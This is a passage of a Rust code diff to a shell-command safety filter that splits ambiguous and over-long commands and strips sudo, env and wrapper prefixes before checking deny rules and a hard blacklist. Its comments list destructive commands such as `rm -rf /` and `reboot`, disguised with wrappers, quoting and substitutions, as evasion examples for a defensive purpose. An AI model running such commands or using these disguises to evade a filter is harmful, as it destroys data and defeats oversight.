sub_command_traces: inner_traces.to_vec(), + kind: TraceKind::Segment, + segment_index: None, + checks: vec![FILTER_PARSE_AMBIGUOUS.to_string()], + }, + None => EvaluationTrace { + decision: baseline, + matched_rule: None, + matched_rule_origin: None, + matched_hard_blacklist_entry: None, + sub_command_traces: Vec::new(), + kind: TraceKind::Segment, + segment_index: None, + checks: vec![FILTER_PARSE_AMBIGUOUS.to_string()], + }, + }; + // Spec 0002, §4.4: the text is also split naively at `;`, `&`, `|` + // and newlines, and each fragment is evaluated like a segment. Only + // a `Deny` or a hard-blacklist hit of a fragment is taken over; + // anything else leaves the ambiguous `Confirm` unchanged. + // + // A fragment that is the whole text is matched against the rules, + // and only its substitutions are evaluated, not its embedded code: + // that code is already in the trace, and evaluating it again would + // double the work at every nesting level. Substitutions that occur + // in that code are evaluated there and skipped here for the same + // reason. + let whole = [ + parser::normalize_whitespace(command), + parser::normalize_whitespace(&naive_split::join_line_continuations(command)), + ]; + let in_codes: std::collections::HashSet = codes + .iter() + .flat_map(|code| parser::strip_substitutions(code).1) + .collect(); + let naive = naive_split::naive_text_fragments(command, usize::MAX, usize::MAX); + let fragments = naive + .iter() + .cloned() + .enumerate() + .map(|(index, fragment)| { + if !codes.is_empty() && whole.contains(&fragment) { + let substitutions = parser::strip_substitutions(&fragment).1; + let mut fragment_trace = matched_fragment_trace(&fragment, rules, index); + for inner in substitutions.iter().filter(|s| !in_codes.contains(*s)) { + let inner_trace = as_kind( + self.evaluate_parsed_explained(inner, rules, depth + 1), + TraceKind::Substitution, + ); + take_stricter(&mut fragment_trace, inner_trace); + } + return fragment_trace; + } + let mut fragment_trace = self.evaluate_segment_explained(&fragment, rules, depth); + fragment_trace.segment_index = Some(index); + fragment_trace + }) + .collect::>(); + // The same text split the way the shell reads it, without what made + // it ambiguous: a separator inside quotes does not cut a word there. + let naive: std::collections::HashSet = naive.into_iter().collect(); + let quoted = naive_split::with_inner_pieces( + naive_split::quoted_split_segments(command) + .into_iter() + .filter(|segment| !naive.contains(segment)), + usize::MAX, + usize::MAX, + false, + ); + let start = fragments.len(); + let quoted = quoted + .iter() + .enumerate() + .map(|(index, piece)| matched_fragment_trace(piece, rules, start + index)); + escalate_by_fragments(trace, fragments.into_iter().chain(quoted)) + } + + /// Text over the length limit (Spec 0002, test case 11) is not parsed as + /// a whole. What is checked ([`naive_split::overlong_parts`]): the text + /// without trailing blanks and comment, evaluated like any command if it + /// fits the limit, and pieces of the rest matched against the rules and + /// the hard blacklist. Only a `Deny` or a blacklist hit is taken over. + pub(super) fn evaluate_overlong_explained( + &self, + command: &str, + rules: &[Rule], + ) -> EvaluationTrace { + let limit = self.max_command_length; + let trace = EvaluationTrace { + decision: Decision::Confirm { + reason: format!("Kommando überschreitet Längenlimit von {limit} Bytes"), + code: FILTER_COMMAND_TOO_LONG.to_string(), + }, + matched_rule: None, + matched_rule_origin: None, + matched_hard_blacklist_entry: None, + sub_command_traces: Vec::new(), + kind: TraceKind::Segment, + segment_index: None, + checks: Vec::new(), + }; + let parts = naive_split::overlong_parts(command, limit); + let head = parts + .head + .map(|head| self.evaluate_parsed_explained(head, rules, 0)); + let offset = usize::from(head.is_some()); + let pieces = parts + .pieces + .iter() + .enumerate() + .map(|(index, piece)| matched_fragment_trace(piece, rules, offset + index)); + escalate_by_fragments(trace, head.into_iter().chain(pieces)) + } +} + +/// Adds `inner` to `trace`: its decision combined into the trace's, its rule +/// taken over when it made the decision stricter. +fn take_stricter(trace: &mut EvaluationTrace, inner: EvaluationTrace) { + if severity(&inner.decision) > severity(&trace.decision) { + trace.matched_rule = inner.matched_rule.clone(); + trace.matched_rule_origin = inner.matched_rule_origin; + } + trace.decision = combine(trace.decision.clone(), inner.decision.clone()); + trace.sub_command_traces.push(inner); +} + +/// Rules and hard blacklist for one fragment, with the same three text forms +/// as a segment (original, without `sudo`/`doas`, wrappers resolved), but +/// without parsing it further. +fn matched_fragment_trace(fragment: &str, rules: &[Rule], index: usize) -> EvaluationTrace { + let (_elevated, stripped) = parser::detect_elevation(fragment); + let resolved = parser::resolve_effective_command_readings(fragment); + let (decision, matched_rule, matched_rule_origin) = + evaluate_rules_explained(rules, fragment, &stripped, &resolved); + EvaluationTrace { + decision, + matched_rule, + matched_rule_origin, + matched_hard_blacklist_entry: blacklist::matching_entry(fragment) + .or_else(|| blacklist::matching_entry(&stripped)) + .or_else(|| blacklist::first_matching_entry(&resolved)), + sub_command_traces: Vec::new(), + kind: TraceKind::Segment, + segment_index: Some(index), + checks: Vec::new(), + } +} + +/// Takes over a `Deny` of a fragment (combined into the decision, the +/// fragment kept as a sub-trace) and the first hard-blacklist hit (reported +/// on the trace; the blacklist itself only asks for `Confirm`, which the +/// trace already has). Every other fragment result is dropped: it cannot be +/// stricter than the `Confirm` the trace starts from. +fn escalate_by_fragments( + mut trace: EvaluationTrace, + fragments: impl IntoIterator, +) -> EvaluationTrace { + fn blacklist_hit(trace: &EvaluationTrace) -> Option { + trace + .matched_hard_blacklist_entry + .clone() + .or_else(|| trace.sub_command_traces.iter().find_map(blacklist_hit)) + } + for fragment in fragments { + if let Some(entry) = blacklist_hit(&fragment) { + trace.matched_hard_blacklist_entry.get_or_insert(entry); + push_check(&mut trace.checks, FILTER_HARD_BLACKLIST); + } + if matches!(fragment.decision, Decision::Deny { .. }) { + if !matches!(trace.decision, Decision::Deny { .. }) { + trace.matched_rule = fragment.matched_rule.clone(); + trace.matched_rule_origin = fragment.matched_rule_origin; + } + trace.decision = combine(trace.decision, fragment.decision.clone()); + trace.sub_command_traces.push(fragment); + } + } + trace +} diff --git a/crates/core/src/filter/mod.rs b/crates/core/src/filter/mod.rs index 7cde4e0eb..d9a0ada82 100644 --- a/crates/core/src/filter/mod.rs +++ b/crates/core/src/filter/mod.rs @@ -8,11 +8,15 @@ mod blacklist; mod combined; +mod command_runners; mod display_layout; mod engine; +mod naive_split; mod parser; mod pattern; mod policy_rules; +mod prefix_strip; +mod prefix_words; mod shell_lexer; mod types; mod wrapper_options; @@ -26,6 +30,9 @@ mod adversarial_tests; #[cfg(test)] mod property_tests; +#[cfg(test)] +mod tests_ambiguous_overlong; + pub use combined::CombinedPolicySource; pub use display_layout::{display_layout, DisplayLine}; pub use engine::{ @@ -49,7 +56,15 @@ pub use types::{ // `parser::segment_command`-Doc-Kommentar. `pub(crate)` statt `pub` — bleibt // ein internes Detail zwischen den beiden Modulen dieser Crate, keine // Garantie für Aufrufer außerhalb. -pub(crate) use parser::{ambiguous_text_fragments, segment_command}; +#[cfg(test)] +pub(crate) use command_runners::runs_given_commands; +// The command lines that `watch`, `su -c`, `ssh host …` and the like run, +// for `crate::risk`: rated like the code of `sh -c`. +pub(crate) use command_runners::runner_commands; +pub(crate) use naive_split::overlong_parts; +pub(crate) use parser::{ + ambiguous_text_fragments, resolved_forms, segment_command, strip_substitutions, +}; pub(crate) use pattern::CompiledPattern; // Unabhängiger Review-Pass, Spec 0026: ebenfalls von `crate::risk` wieder- // verwendet — ohne diese Normalisierung sind die Risiko-Muster durch ein @@ -58,7 +73,11 @@ pub(crate) use pattern::CompiledPattern; // usw.), s. `risk::classifier`-Doc-Kommentar. Wie `segment_command` // bewusst `pub(crate)` — internes Detail zwischen den beiden Modulen. pub(crate) use parser::resolve_effective_command; -pub(crate) use wrapper_options::wrapper_option_takes_value; +use wrapper_options::{ + classify_env_option, env_split_string, has_splitting_expansion, is_argument_assignment, + EnvOption, Strip, +}; +pub(crate) use wrapper_options::{classify_sudo_option, wrapper_option_takes_value, SudoOption}; // Issue #88: also reused by `crate::risk`, so the risk classifier rates the // code of a `bash -c '…'`/`sh -c '…'` call with the same extraction the // filter engine uses for its own checks (no second `-c` parser). Internal diff --git a/crates/core/src/filter/naive_split.rs b/crates/core/src/filter/naive_split.rs new file mode 100644 index 000000000..b22a6d20a --- /dev/null +++ b/crates/core/src/filter/naive_split.rs @@ -0,0 +1,318 @@ +//! The pieces of text the parser does not split (ambiguous) or does not read +//! (over the length limit) that Deny rules and the hard blacklist are +//! matched against: the naive split at `;`, `&`, `|` and newlines (quotes +//! not honoured), the quote-aware split of a cleaned copy, and the commands +//! inside those pieces. + +/// What of text over the length `limit` is checked, with work bounded by a +/// multiple of `limit` however long the text is. +pub(crate) struct OverlongParts<'a> { + /// The text without the blanks and the comment at its end + /// ([`fitting_head`]), if that fits the limit: it is evaluated in full. + pub(crate) head: Option<&'a str>, + /// Pieces matched without parsing: the naive fragments of the rest of + /// the text (all of it without a head), the segments of its quote-aware + /// split ([`quoted_split_segments`]) and the commands inside them + /// ([`inner_pieces`]), each cut to `limit` bytes. + pub(crate) pieces: Vec, +} + +pub(crate) fn overlong_parts(command: &str, limit: usize) -> OverlongParts<'_> { + let head = fitting_head(command, limit); + let (rest, max_pieces) = match head { + Some(head) => (&command[head.len()..], (limit - head.len()) / 2), + None => (command, limit / 2), + }; + let max_scan = limit.saturating_mul(4); + let scanned = &rest[..rest.floor_char_boundary(max_scan)]; + let mut naive = naive_text_fragments(rest, limit, max_scan).into_iter(); + let mut quoted = quoted_split_segments(scanned) + .into_iter() + .map(|mut segment| { + segment.truncate(segment.floor_char_boundary(limit)); + segment + }); + // Alternating, so neither split can use up the budget before the other + // has been read from the start. + let roots = std::iter::from_fn(|| match (naive.next(), quoted.next()) { + (None, None) => None, + (a, b) => Some(a.into_iter().chain(b)), + }) + .flatten(); + OverlongParts { + head, + pieces: with_inner_pieces(roots, limit, max_pieces, true), + } +} + +/// `command` without the blanks and the comment at its end, which the shell +/// does not run, if that is at most `limit` bytes. The comment has to start +/// on the last line that is neither blank nor a comment line, or be the +/// first of those, and the lexer has to read its `#` as the start of a +/// comment. Not for text with a here-doc, whose lines are data. +fn fitting_head(command: &str, limit: usize) -> Option<&str> { + const MAX_TRIES: usize = 8; + let trimmed = command.trim_end(); + if trimmed.len() <= limit { + return Some(trimmed).filter(|head| !head.is_empty()); + } + if command.contains("<<") { + return None; + } + let mut line_start = trimmed.len(); + let mut comment_lines_from = None; + let mut code_found = false; + for (index, line) in trimmed.rsplit('\n').enumerate() { + line_start -= line.len() + usize::from(index > 0); + let code = line.trim_start(); + if !code.is_empty() && !code.starts_with('#') { + code_found = true; + break; + } + if !code.is_empty() { + comment_lines_from = Some(line_start + (line.len() - code.len())); + } + } + if !code_found { + return None; + } + let code_line = &trimmed[line_start..]; + let code_line = &code_line[..code_line.find('\n').unwrap_or(code_line.len())]; + let in_line = code_line + .match_indices('#') + .map(|(offset, _)| line_start + offset) + .filter(|&at| trimmed[..at].ends_with(char::is_whitespace)); + for at in in_line.chain(comment_lines_from).take(MAX_TRIES) { + let head = command[..at].trim_end(); + if head.len() > limit { + break; + } + if !head.is_empty() && starts_comment_after(head) { + return Some(head); + } + } + None +} + +/// Whether the lexer reads a `#` after `head` and a blank as a comment. +fn starts_comment_after(head: &str) -> bool { + use super::shell_lexer::{lex, CommentMode}; + let with_hash = format!("{head} #"); + match ( + lex(head, CommentMode::Strip), + lex(&with_hash, CommentMode::Strip), + ) { + (Some(plain), Some(hashed)) => plain.canonical.trim_end() == hashed.canonical.trim_end(), + _ => false, + } +} + +/// The segments of `text` as the shell splits it (quotes honoured), read +/// from a copy without what makes the parser give up on it: control +/// characters become blanks, here-doc and here-string operators are +/// removed. Empty if that copy does not lex either. +pub(super) fn quoted_split_segments(text: &str) -> Vec { + let cleaned: String = text + .chars() + .map(|c| match c { + '\x00'..='\x08' | '\x0b' | '\x0c' | '\x0e'..='\x1f' | '\x7f' => ' ', + c => c, + }) + .collect::() + .replace("<<<", " ") + .replace("<<", " "); + super::shell_lexer::lexed_segments(cleaned.trim()) + .unwrap_or_default() + .iter() + .flat_map(|segment| { + let normalized = super::parser::normalize_whitespace(segment); + let blanks_only = super::prefix_words::normalize_blanks(segment); + let keep_blanks = blanks_only != normalized; + [Some(normalized), keep_blanks.then_some(blanks_only)] + }) + .flatten() + .filter(|segment| !segment.is_empty()) + .collect() +} + +/// `roots` and, for each, the commands the shell runs inside it +/// ([`inner_pieces`], split naively and searched again down to the +/// substitution depth cap), in that order, without repeats: at most +/// `max_pieces` pieces of at most `max_len` bytes. With `unclosed_tails`, +/// for text cut off before its end, the text after a quote, substitution or +/// bracket a piece leaves open ([`unclosed_tail`]) counts as inside it too. +pub(super) fn with_inner_pieces( + roots: impl IntoIterator, + max_len: usize, + max_pieces: usize, + unclosed_tails: bool, +) -> Vec { + let mut pieces = Vec::new(); + let mut seen = std::collections::HashSet::new(); + for root in roots { + let mut stack = vec![(root, 0)]; + while let Some((piece, depth)) = stack.pop() { + if pieces.len() >= max_pieces { + return pieces; + } + if !seen.insert(piece.clone()) { + continue; + } + if depth < super::parser::MAX_SUBSTITUTION_DEPTH { + let mut inner = inner_pieces(&piece); + if unclosed_tails { + inner.extend(unclosed_tail(&piece).map(str::to_string)); + } + let inner = inner + .iter() + .flat_map(|code| naive_text_fragments(code, max_len, usize::MAX)) + .collect::>(); + stack.extend(inner.into_iter().rev().map(|code| (code, depth + 1))); + } + pieces.push(piece); + } + } + pieces +} + +/// The commands the shell runs inside `piece`: the contents of its command +/// substitutions, the code of a `-c` style call or of `eval`, and the body +/// of a subshell or group it starts with. +fn inner_pieces(piece: &str) -> Vec { + use super::parser; + let mut inner = parser::strip_substitutions(piece).1; + if let Some(parser::ProgramSource::Code(codes)) = parser::program_source(piece) { + inner.extend(codes); + } + inner.extend(parser::eval_code(piece)); + let body = piece + .trim_start_matches(|c: char| c == '(' || c == '{' || c.is_whitespace()) + .trim_end_matches(|c: char| c == ')' || c == '}' || c == ';' || c.is_whitespace()); + if body.len() != piece.len() && !body.is_empty() { + inner.push(body.to_string()); + } + inner +} + +/// The text after the outermost quote, command substitution, backtick or +/// bracket that `piece` opens and does not close, as the shell reads quotes +/// and backslash escapes; `None` if everything is closed. In a piece of +/// over-long text the closing part may lie past what is checked, while the +/// shell still runs what is inside. +fn unclosed_tail(piece: &str) -> Option<&str> { + #[derive(PartialEq)] + enum Open { + Single, + Double, + Backtick, + Paren, + } + let mut stack: Vec<(Open, usize)> = Vec::new(); + let mut chars = piece.char_indices().peekable(); + while let Some((at, c)) = chars.next() { + let top = stack.last().map(|(open, _)| open); + if top == Some(&Open::Single) { + if c == '\'' { + stack.pop(); + } + continue; + } + let in_double = top == Some(&Open::Double); + match c { + '\\' => { + chars.next(); + } + '\'' if !in_double => stack.push((Open::Single, at + 1)), + '"' if in_double => { + stack.pop(); + } + '"' => stack.push((Open::Double, at + 1)), + '`' if top == Some(&Open::Backtick) => { + stack.pop(); + } + '`' => stack.push((Open::Backtick, at + 1)), + '$' if chars.peek().is_some_and(|&(_, next)| next == '(') => { + chars.next(); + stack.push((Open::Paren, at + 2)); + } + '(' if !in_double => stack.push((Open::Paren, at + 1)), + ')' if top == Some(&Open::Paren) => { + stack.pop(); + } + _ => {} + } + } + let (_, from) = stack.first()?; + Some(piece[*from..].trim()).filter(|tail| !tail.is_empty()) +} + +/// The naive split behind [`super::parser::ambiguous_text_fragments`], without asking the +/// parser first: only the first `max_scan` bytes of `command` are read, each +/// fragment is cut to `max_len` bytes, and repeated fragments are dropped. A line continuation +/// (backslash-newline outside single quotes) joins its lines first, as in +/// the shell; the fragments of the text as written are kept as well, so +/// joining never removes a fragment. +pub(super) fn naive_text_fragments(command: &str, max_len: usize, max_scan: usize) -> Vec { + let scanned = &command[..command.floor_char_boundary(max_scan)]; + let joined = join_line_continuations(scanned); + // Issue #1208: a fragment with a non-ASCII space is also kept with only + // ASCII blanks normalised, since the shell does not split at a no-break + // space (`FOO=xls reboot` runs `reboot`). + let split = |text: &str| -> Vec { + text.split([';', '&', '|', '\n', '\r']) + .flat_map(|fragment| { + let normalized = super::parser::normalize_whitespace(fragment); + let blanks_only = super::prefix_words::normalize_blanks(fragment); + let keep_blanks = blanks_only != normalized; + [Some(normalized), keep_blanks.then_some(blanks_only)] + }) + .flatten() + .map(|mut fragment| { + fragment.truncate(fragment.floor_char_boundary(max_len)); + fragment + }) + .filter(|fragment| !fragment.is_empty()) + .collect() + }; + let mut fragments = split(&joined); + if joined != scanned { + fragments.extend(split(scanned)); + } + let mut seen = std::collections::HashSet::new(); + fragments.retain(|fragment| seen.insert(fragment.clone())); + fragments +} + +/// Removes every backslash-newline outside single quotes (a line +/// continuation), tracking quotes and backslash escapes the way the shell +/// reads them. Linear in the length of `text`. +pub(super) fn join_line_continuations(text: &str) -> String { + if !text.contains("\\\n") { + return text.to_string(); + } + let mut out = String::with_capacity(text.len()); + let mut chars = text.chars(); + let (mut single, mut double) = (false, false); + while let Some(c) = chars.next() { + match c { + '\\' if !single => match chars.next() { + Some('\n') => {} + Some(next) => { + out.push(c); + out.push(next); + } + None => out.push(c), + }, + '\'' if !double => { + single = !single; + out.push(c); + } + '"' if !single => { + double = !double; + out.push(c); + } + _ => out.push(c), + } + } + out +} diff --git a/crates/core/src/filter/parser.rs b/crates/core/src/filter/parser.rs index 2239f2e57..1895631d4 100644 --- a/crates/core/src/filter/parser.rs +++ b/crates/core/src/filter/parser.rs @@ -2,7 +2,20 @@ use std::sync::OnceLock; use regex::Regex; +use super::command_runners::runner_commands; +use super::prefix_strip::{resolve_segment_command, strip_prefix_readings, strip_prefixes}; +use super::prefix_words::normalize_blanks; use super::shell_lexer; +use super::wrapper_options::PASSTHROUGH_WRAPPERS; + +mod builtin_code; +mod program_options; + +#[cfg(test)] +pub(super) use builtin_code::DeferredCode; +pub(super) use builtin_code::{deferred_code, eval_code, eval_codes, DeferredCodeKind}; +use program_options::is_shell_program; +pub(crate) use program_options::{program_source, program_source_in_forms, ProgramSource}; /// Maximale Verschachtelungstiefe für `$(...)`/`<(...)`/`>(...)`/Backtick- /// Command-Substitution (Spec 0043, Fund B) — Filter-Engine @@ -112,7 +125,54 @@ pub(super) fn normalize_whitespace(s: &str) -> String { /// zerlegbaren Eingaben noch gegen die Muster prüfen können, nur eben ohne /// Teilkommando-Auflösung. pub(crate) fn segment_command(command: &str) -> Vec { - segment_command_at_depth(command, 0) + segment_command_at_depth(command, 0, false) +} + +/// The resolved forms of `segments` and, Issue #1208, of the segments of +/// `command` with their command substitutions and non-ASCII spaces kept: +/// with the substitutions removed, `sudo -p $(x) reboot` reads as `sudo -p +/// reboot`, and the option takes `reboot` as its value; a no-break space +/// does not separate words for the shell. Used by `crate::risk`, next to +/// [`segment_command`]. +pub(crate) fn resolved_forms(command: &str, segments: &[String]) -> Vec { + let mut resolved: Vec = segments + .iter() + .map(|segment| resolve_effective_command(segment)) + .collect(); + let raw_segments = segment_command_at_depth(command, 0, true); + for form in raw_segments + .iter() + .flat_map(|segment| resolve_effective_command_readings(segment)) + { + if !resolved.contains(&form) { + resolved.push(form); + } + } + resolved +} + +/// The resolved forms of one segment for the filter engine: from its +/// `literal` text (substitutions removed) and, Issue #1208, from the `raw` +/// segment that keeps them (see [`resolved_forms`], and +/// [`resolve_segment_command`]). With an expansion in an option word of a +/// prefix, every reading of it counts (see +/// [`resolve_effective_command_readings`]). +pub(super) fn resolved_segment_forms(literal: &str, raw: &str) -> Vec { + let mut forms = resolve_effective_command_readings(literal); + let from_raw = resolve_effective_command_readings(&normalize_blanks(raw)); + for form in from_raw.into_iter().chain([resolve_segment_command(raw)]) { + if !forms.contains(&form) { + forms.push(form); + } + } + forms +} + +/// Issue #1208: whether an option word of a `sudo`/`doas` or wrapper prefix +/// of the `raw` segment has an expansion in it, so the command behind the +/// prefix depends on its value (`sudo -"$X" /tmp reboot`). +pub(super) fn prefix_option_expands(raw: &str) -> bool { + super::prefix_strip::prefix_option_expands(&normalize_blanks(raw)) } /// Tiefenbegrenzter Abstieg hinter [`segment_command`] (Spec 0043, Fund B): @@ -138,27 +198,42 @@ pub(crate) fn ambiguous_text_fragments(command: &str) -> Vec { if !matches!(split_command(command), ParseResult::Ambiguous { .. }) { return Vec::new(); } - command - .split([';', '&', '|', '\n', '\r']) - .map(normalize_whitespace) - .filter(|fragment| !fragment.is_empty()) - .collect() + super::naive_split::naive_text_fragments(command, usize::MAX, usize::MAX) } -fn segment_command_at_depth(command: &str, depth: usize) -> Vec { +/// With `keep_substitutions`, each segment keeps its command substitutions +/// and non-ASCII spaces (for [`resolved_forms`]). +fn segment_command_at_depth(command: &str, depth: usize, keep_substitutions: bool) -> Vec { match split_command(command) { ParseResult::Empty => Vec::new(), + ParseResult::Ambiguous { .. } if keep_substitutions => vec![normalize_blanks(command)], ParseResult::Ambiguous { .. } => vec![normalize_whitespace(command)], ParseResult::Segments(segments) => { let mut result = Vec::new(); for segment in segments { let (literal, inner_contents) = strip_substitutions(&segment); - result.push(normalize_whitespace(&literal)); + if keep_substitutions { + result.push(normalize_blanks(&segment)); + } else { + let literal = normalize_whitespace(&literal); + // A substitution can be the value of a wrapper option + // (`sudo -D $(…) cmd`), which the stripped text no longer + // shows; add the command resolved with it. + let resolved = (!inner_contents.is_empty()) + .then(|| resolve_segment_command(&segment)) + .filter(|resolved| *resolved != resolve_effective_command(&literal)); + result.push(literal); + result.extend(resolved); + } if depth >= MAX_SUBSTITUTION_DEPTH { continue; } for inner in inner_contents { - result.extend(segment_command_at_depth(&inner, depth + 1)); + result.extend(segment_command_at_depth( + &inner, + depth + 1, + keep_substitutions, + )); } } result @@ -199,7 +274,12 @@ pub(super) fn detect_elevation(normalized: &str) -> (bool, String) { /// passend zu den Fail-safe-defaults der Spec. Text, der sich nicht lexen /// lässt, bleibt unverändert: [`split_command`] lehnt solche Eingaben schon /// als nicht sicher analysierbar ab. -pub(super) fn strip_substitutions(text: &str) -> (String, Vec) { +pub(crate) fn strip_substitutions(text: &str) -> (String, Vec) { + strip_substitutions_with(text, " ") +} + +/// [`strip_substitutions`] with `filler` in place of each substitution. +pub(super) fn strip_substitutions_with(text: &str, filler: &str) -> (String, Vec) { let Some(lexed) = shell_lexer::lex(text, shell_lexer::CommentMode::Strip) else { return (text.to_string(), Vec::new()); }; @@ -215,7 +295,7 @@ pub(super) fn strip_substitutions(text: &str) -> (String, Vec) { result.extend(&chars[i..range.start]); let content: String = chars[range.clone()].iter().collect(); if may_hold_substitution(&content) { - let (literal, inner) = strip_substitutions(&content); + let (literal, inner) = strip_substitutions_with(&content, filler); result.push_str(&literal); inner_contents.extend(inner); } else { @@ -226,7 +306,7 @@ pub(super) fn strip_substitutions(text: &str) -> (String, Vec) { result.extend(&chars[i..until]); if let Some(found) = substitution { inner_contents.push(chars[found.inner.clone()].iter().collect()); - result.push(' '); + result.push_str(filler); i = found.whole.end; } } @@ -285,7 +365,10 @@ pub(crate) fn extract_shell_c_style_codes(cmd: &str) -> Vec { return codes; } if let Some(ProgramSource::Code(found)) = program_source(&normalize_whitespace(cmd)) { - for code in found { + // With the shell commands the code of an interpreter passes to + // `system()` and the like (`command_runners`). + let resolved = [resolve_effective_command(&normalize_whitespace(cmd))]; + for code in found.into_iter().chain(runner_commands(&resolved).codes) { if !codes.contains(&code) { codes.push(code); } @@ -464,22 +547,6 @@ fn unquoted_word_len(chars: &[char]) -> Option { (!in_single && !in_double && len > 0).then_some(len) } -/// Whether `literal` (after wrappers and `sudo`) runs a known shell or -/// `source`/`.` — a program whose stdin program is shell code. Interpreters -/// (`python3`, `perl`, ...) and unclassified names are not. -fn is_shell_program(literal: &str) -> bool { - let resolved = resolve_effective_command(literal); - let Some(program) = resolved.split_whitespace().next() else { - return false; - }; - matches!( - program_kind(program), - Some( - ProgramKind::WithOptions(_, true) | ProgramKind::EitherShell(..) | ProgramKind::Source - ) - ) -} - /// Skript-Interpreter mit einem `-c`/`-e`-artigen "führe diesen String als /// Code aus"-Flag — dieselbe Umgehungsklasse wie `bash -c`/`sh -c`, nur mit /// einer anderen Sprache (unabhängiger Review-Pass, Spec 0002: `python3 -c @@ -525,35 +592,14 @@ fn is_complex_shell_c_invocation(cmd: &str) -> bool { false } -/// Bekannte "durchreichende" Kommandos — sie führen ihr letztes Argument -/// unverändert als Kommando aus, ändern selbst aber nichts an der -/// eigentlichen Aktion. Nicht erschöpfend (kein vollständiger CLI-Parser für -/// jeden Wrapper), deckt aber die in der Praxis üblichen -/// Verschleierungsversuche gegen die Hard-Blacklist ab (Spec 0002, Abschnitt -/// 3.1: "unabhängig von Nutzerregeln" — eine fest verdrahtete Blacklist, die -/// ein simples `env rm -rf /` nicht erkennt, hält dieses Versprechen nicht). -/// Erweitert um `timeout`/`xargs`/`setsid`/`stdbuf`/`ionice`/`chroot`/ -/// `flock`/`busybox`/`script` (unabhängiger Review-Pass, Spec 0013). -const PASSTHROUGH_WRAPPERS: &[&str] = &[ - "env", "nice", "nohup", "time", "command", "timeout", "xargs", "setsid", "stdbuf", "ionice", - "chroot", "flock", "busybox", "script", "exec", "builtin", "runuser", -]; - -/// Wrapper, die vor dem eigentlichen Kommando genau EIN positionales (nicht -/// mit `-` beginnendes) Pflichtargument erwarten — die Zeitdauer bei -/// `timeout`, das neue Wurzelverzeichnis bei `chroot`, die Lock-Datei bei -/// `flock`. Ohne diese Sonderbehandlung würde z. B. `timeout 5 rm -rf /` -/// das positionale `5` fälschlich als Kommandoname auffassen und die -/// Wrapper-Erkennung dort abbrechen. -const WRAPPERS_WITH_ONE_POSITIONAL_ARG: &[&str] = &["timeout", "chroot", "flock"]; - /// Löst den tatsächlich auszuführenden Kommandokern heraus: entfernt /// wiederholt (bis zum Fixpunkt, deckt z. B. `sudo sudo rm -rf /` oder /// `FOO=1 sudo env BAR=2 rm -rf /` ab) führende -/// `NAME=wert`-Variablenzuweisungen, `sudo`/`doas`-Präfixe samt der -/// gebräuchlichsten wertetragenden Flags (`-u`/`--user`, `-g`/`--group`) -/// sowie bekannte durchreichende Wrapper-Kommandos (s. -/// [`PASSTHROUGH_WRAPPERS`]), und entfernt abschließend Anführungszeichen/ +/// `NAME=wert`-Variablenzuweisungen, `sudo`/`doas`-Präfixe samt ihrer +/// Optionen und deren Werte (`-u root`, `-D /tmp`, `--prompt x`; s. +/// [`super::classify_sudo_option`]) sowie bekannte durchreichende +/// Wrapper-Kommandos (s. [`PASSTHROUGH_WRAPPERS`]) samt der Zuweisungen, die +/// `env` und `sudo` aus ihren Argumenten nehmen, und entfernt abschließend Anführungszeichen/ /// Escapes aus dem ersten verbleibenden Wort (`"rm" -rf /`, `r"m" -rf /`, /// `r\m -rf /`, `$'rm' -rf /` → jeweils `rm -rf /`). /// @@ -564,15 +610,21 @@ const WRAPPERS_WITH_ONE_POSITIONAL_ARG: &[&str] = &["timeout", "chroot", "flock" /// unverändert bleibt — hier geht es ausschließlich um die Hard-Blacklist- /// Prüfung, s. `engine::evaluate_segment_explained`). pub(crate) fn resolve_effective_command(normalized: &str) -> String { - let mut current = normalized.to_string(); - loop { - let stripped = strip_one_elevation_wrapper_or_assignment(¤t); - if stripped == current { - break; + strip_path_prefix_from_first_word(&unquote_first_word(&strip_prefixes(normalized))) +} + +/// [`resolve_effective_command`] in every reading of an option word with an +/// expansion (Issue #1208, see [`strip_prefix_readings`]), the main one +/// first. +pub(crate) fn resolve_effective_command_readings(normalized: &str) -> Vec { + let mut forms: Vec = Vec::new(); + for rest in strip_prefix_readings(normalized) { + let form = strip_path_prefix_from_first_word(&unquote_first_word(&rest)); + if !forms.contains(&form) { + forms.push(form); } - current = stripped; } - strip_path_prefix_from_first_word(&unquote_first_word(¤t)) + forms } /// Ersetzt das erste Wort durch seinen Basename (`/usr/bin/docker` bzw. @@ -602,10 +654,12 @@ fn strip_path_prefix_from_first_word(cmd: &str) -> String { /// beginnen und nur aus Alnum/Unterstrich bestehen (POSIX-Bezeichnerregel /// für Shell-Variablen) — verhindert, dass z. B. ein Datei-Pfad mit `=` /// darin (selten, aber möglich) fälschlich als Zuweisung erkannt wird. -fn is_var_assignment(word: &str) -> bool { +pub(super) fn is_var_assignment(word: &str) -> bool { let Some((name, _value)) = word.split_once('=') else { return false; }; + // Bash also takes `NAME+=value` (append) in front of a command. + let name = name.strip_suffix('+').unwrap_or(name); !name.is_empty() && name .chars() @@ -627,46 +681,6 @@ pub fn is_elevation_or_passthrough_wrapper(token: &str) -> bool { token == "sudo" || token == "doas" || PASSTHROUGH_WRAPPERS.contains(&token) } -fn strip_one_elevation_wrapper_or_assignment(cmd: &str) -> String { - let words: Vec<&str> = cmd.split_whitespace().collect(); - let Some(&head) = words.first() else { - return cmd.to_string(); - }; - - if is_var_assignment(head) { - return normalize_whitespace(&words[1..].join(" ")); - } - - // Issue #13: wrappers are recognised by their lower-cased basename, so - // `/usr/bin/env rm`, `SUDO rm` or `Env rm` (case-insensitive file - // systems) are unwrapped like `env rm`. The result only feeds Deny/ - // Confirm rules, the hard blacklist and the risk classifier (never an - // Allow rule, see `engine::evaluate_rules_explained`), so recognising - // more wrappers can only escalate. - let head_lower = head.rsplit('/').next().unwrap_or(head).to_ascii_lowercase(); - let head = head_lower.as_str(); - let is_elevation = head == "sudo" || head == "doas"; - let is_wrapper = PASSTHROUGH_WRAPPERS.contains(&head); - if !is_elevation && !is_wrapper { - return cmd.to_string(); - } - - let mut i = 1; - while i < words.len() && words[i].starts_with('-') { - let flag = words[i]; - i += 1; - let takes_value = (is_elevation && matches!(flag, "-u" | "--user" | "-g" | "--group")) - || (is_wrapper && super::wrapper_option_takes_value(head, flag)); - if takes_value && i < words.len() { - i += 1; - } - } - if WRAPPERS_WITH_ONE_POSITIONAL_ARG.contains(&head) && i < words.len() { - i += 1; - } - normalize_whitespace(&words[i..].join(" ")) -} - /// Entfernt Anführungszeichen/Escapes aus dem ERSTEN Wort (`"rm" -rf /`, /// `r"m" -rf /`, `r''m -rf /`, `r\m -rf /` → jeweils `rm -rf /`) — eine /// reine Textzerlegung wie diese Engine sie betreibt (kein echtes @@ -906,15 +920,10 @@ const 